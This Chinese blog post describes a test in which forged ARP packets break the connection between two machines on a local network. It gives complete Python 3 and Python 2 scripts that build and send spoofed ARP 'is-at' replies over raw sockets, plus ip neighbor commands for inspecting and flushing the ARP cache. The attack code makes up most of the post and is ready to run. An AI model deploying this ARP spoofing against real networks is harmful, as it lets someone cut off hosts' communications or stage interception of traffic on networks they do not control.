基于python发送ARP欺骗消息

版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xyjincan/article/details/90691422

测试通过发送ARP欺骗数据包阻断局域网两台机器的连接

利用linux下python的socket标准库(socket.socket(socket.AF_PACKET, socket.SOCK_RAW)),发送自定义数据包到目标机器完成欺骗测试尝试,主要代码参考如下。

发送arp欺骗包

发送arp欺骗包

攻击成功后,18与19之前通信中断

攻击成功后,18与19之前通信中断

18主机上ARP变更情况

18主机上ARP变更情况

python3发送arp欺骗

# -*- coding: utf-8 -*-  
## root@linux python3
import socket

def send_arp_is_at():
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    ### 数据包出口网卡
    s.bind(("ens37", 0))
    ## 虚假IP
    #src_ip_addr = b"\x0a\x0a\x01\x13"
    src_ip_addr = ip2bin_ip("10.10.1.19")
    ##  虚假MAC地址(使目标虚假IP与被欺骗主机IP通信中断)
    #dst_mac_addr = b"\x00\x0c\x29\x05\x11\x00"
    dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
	
    ## 即将被欺骗的主机的IP
    dst_ip_addr = ip2bin_ip("10.10.1.18")
    ##  即将被欺骗方的MAC地址
    src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
    ## arp 回应
    arp_opcode = b"\x00\x02"
    s.send(src_mac_addr+dst_mac_addr+b"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
    print('send send_arp_is_at')

# transfer ip to bin_ip
def ip2bin_ip(ip):
    ip_list=ip.split('.')
    result_arr = b"";
    for i in range(4):  #0,1,2,3
        tnum = int(ip_list[i])
        bnum = tnum.to_bytes(1, byteorder = 'big', signed = False)
        result_arr = result_arr + bnum
    return result_arr

# transfer mac to bin_mac
def mac2bin_mac(mac):
    mac_list=mac.split(':')
    result_arr = b"";
    for i in range(6):  #0,1,2,3,4,5
        hexnum = mac_list[i]
        result_arr = result_arr + bytearray.fromhex(hexnum)
    return result_arr

if __name__ == '__main__':
    ## 发送欺骗包(使用root账户)
    send_arp_is_at()
    print("done"); 


python2发送arp欺骗


# -*- coding: utf-8 -*-  

## root@linux python2
import socket
import binascii


## ens37
##  10.10.1.19     \x0a\x0a\x01\x13 00:50:56:3a:11:09
##  10.10.1.18 \x0a\x0a\x01\x12  00:0c:29:05:6c:36        

def send_arp_is_at():
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    ### 数据包出口网卡
    s.bind(("ens37", 0))
    ## 虚假IP
    src_ip_addr = ip2bin_ip("10.10.1.19")
    ##  虚假MAC地址(使虚假IP与被欺骗主机IP通信中断)
    dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
    #src_ip_addr = "\x0a\x0a\x01\x13"
    #dst_mac_addr = "\x00\x0c\x29\x05\x11\x00"
    ## 即将被欺骗的主机的IP
    dst_ip_addr = ip2bin_ip("10.10.1.18")
    ##  即将被欺骗方的MAC地址
    src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
    ## arp 回应
    arp_opcode = "\x00\x02"
    s.send(src_mac_addr+dst_mac_addr+"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
    print('send send_arp_is_at')

## "00:0c:29:05:6c:36" to  str "\x00\x0c\x29\x05\x6c\x36"
def mac2bin_mac(mac):
    hexmac = mac.replace(':', "")
    return binascii.a2b_hex(hexmac)

## 10.10.1.18 to str "\x0a\x0a\x01\x12"
def ip2bin_ip(ip):

    ipns = ip.split('.')
    result_arr = "";
    for i in range(4):  #0,1,2,3
        tnum = int(ipns[i])
        bnum = hex(tnum)
        if(len(bnum)==3):
            bnum = "0x0" + bnum[2]
        result_arr = result_arr + bnum
    result_arr = result_arr.replace("0x","")
    return binascii.a2b_hex(result_arr)

if __name__ == '__main__':
    ## 发送欺骗包(使用root账户)
    send_arp_is_at()
    print("done");

Centos7 ip命令参考

## 查看ARP列表
ip neighbor show
## 清除ens37网口全部的ARP缓存
ip neighbor flush  dev ens37
## 关闭ens37网口
ip l set ens37 down
## 启用ens37网口
ip l set ens37 up

展开阅读全文

没有更多推荐了,返回首页